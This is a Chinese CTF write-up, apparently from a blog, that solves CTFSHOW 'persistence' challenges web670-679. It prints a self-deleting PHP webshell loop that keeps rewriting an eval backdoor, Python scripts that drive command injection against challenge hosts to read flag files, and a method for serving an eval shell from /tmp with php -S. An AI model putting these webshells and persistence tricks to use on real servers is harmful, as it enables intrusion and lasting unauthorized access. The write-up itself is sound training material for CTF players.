当前位置:网站首页>CTFSHOW权限维持篇
CTFSHOW权限维持篇
2022-06-30 22:36:00 【yu22x】
web670-web676
题目在进行check后,会删掉网站根目录下的所有文件。
方法一
预测是使用的如下命令
echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *
rm -rf *其实有个小缺陷,无法删除点号开头的文件,所以可以利用给的木马生成一个.shell.php的木马,check后还会保留。
方法二
使用反弹shell
不过题目是不出网的,所以这种方法暂时无法考虑。
方法三
可以使用不死马将木马写入内存。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
访问该不死马后,触发check,接着蚁剑连接shell.php即可拿到flag。
一键利用脚本
import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={
'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
try:
requests.get(url+'a.php',timeout=(1,1))
except:
requests.get(url+'?action=check')
r=requests.post(url+'shell.php',data={
'1':'system("cat /f*");'})
print(r.text)
web677、web678
和前面有点不同,没有写入权限(除了/tmp目录)
猜测check是先生成flag接着删掉了所有/var/www/html下的文件。
所以我们可以通过while循环持续的打开flag,当check时,页面上就会出现flag。
payloadcmd=system('while true;do cat /tmp/f*;done');
web679
check后会关闭nginx php-fpm等服务,不过我们可以利用php命令直接开启一个服务php -S 0.0.0.0:80,哪个目录下运行该命令,哪个目录就被当作根目录。
有点类似于python开启web服务python -m SimpleHTTPServer 80
大致流程如下:
1、/tmp目录可写,在该目录下生成木马文件cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php');
2、开启web服务cmd=system('cd /tmp;php -S 0.0.0.0:80');
3、触发check
4、利用木马
但在实际使用中会发现,手动开启的web服务check后也会被停掉。
所以需要保证check后再开启web服务,也就是加个延时。
import requests
url="http://b370b8d4-cdca-40dd-a3eb-6d6d4485965a.challenge.ctf.show/"
data1={
'cmd':"system('cd /tmp;echo \"<?php eval(\$_POST[1]);?>\" > index.php');"}
r=requests.post(url+'?action=cmd',data=data1)
data2={
'cmd':"system('sleep 3;cd /tmp;php -S 0.0.0.0:80');"}
try:
requests.post(url+'?action=cmd',data=data2,timeout=(1,1))
except:
requests.get(url+'?action=check')
while True:
r=requests.post(url,data={
'1':'system("cat /f*");'})
if "ctfshow{" in r.text:
print(r.text)
break
边栏推荐
- Redis' transaction and locking mechanism
- A new one from Ali 25K came to the Department, which showed me what the ceiling is
- msf之ms17-010永恒之蓝漏洞
- Fastjson V2 简单使用手册
- Introduction to machine learning compilation course learning notes lesson 2 tensor program abstraction
- 基于kubernetes平台微服务的部署
- Where can I find the computer version of wechat files
- Youfu network hybrid cloud accelerates enterprise digital transformation and upgrading
- d编译时计数
- How to design test cases
猜你喜欢

部门新来了个阿里25K出来的,让我见识到了什么是天花板

Using Obsidian with Hugo, markdown's local editing software is seamlessly connected with online

msf之ms17-010永恒之蓝漏洞

How to realize the center progress bar in wechat applet

Swift5.0 ----Swift FrameWork的创建及使用

与AI结对编程式是什么体验 Copilot vs AlphaCode, Codex, GPT-3

在线客服系统代码_h5客服_对接公众号_支持APP_支持多语言

Braces on the left of latex braces in latex multiline formula

Architecture of IM integrated messaging system sharing 100000 TPS

Introduction to machine learning compilation course learning notes lesson 2 tensor program abstraction
随机推荐
Label Contrastive Coding based Graph Neural Network for Graph Classification
Redis' transaction and locking mechanism
[micro service ~nacos] configuration center of Nacos
Jmeter跨线程参数关联无需脚本
Nansen复盘加密巨头自救:如何阻止百亿多米诺倾塌
图纸加密如何保障我们的核心图纸安全
Online education program user login and registration
pytorch 的Conv2d的详细解释
深入解析 Apache BookKeeper 系列:第四篇—背压
A new one from Ali 25K came to the Department, which showed me what the ceiling is
Graduation project
Architecture of IM integrated messaging system sharing 100000 TPS
"More Ford, more China" saw through the clouds, and the orders of Changan Ford's flagship products exceeded 10000
电脑版微信文件存储在哪个文件夹可以找到
将Nagios监控信息存入MySQL
2022-06-30:以下golang代码输出什么?A:0;B:2;C:运行错误。 package main import “fmt“ func main() { ints := make
有孚网络混合云,加速企业数字化转型升级
【Android,Kotlin,TFLite】移动设备集成深度学习轻模型TFlite(图像分类篇)
十个最为戳心测试/开程序员笑话,念茫茫人海,该如何寻觅?
Win11如何优化服务?Win11优化服务的方法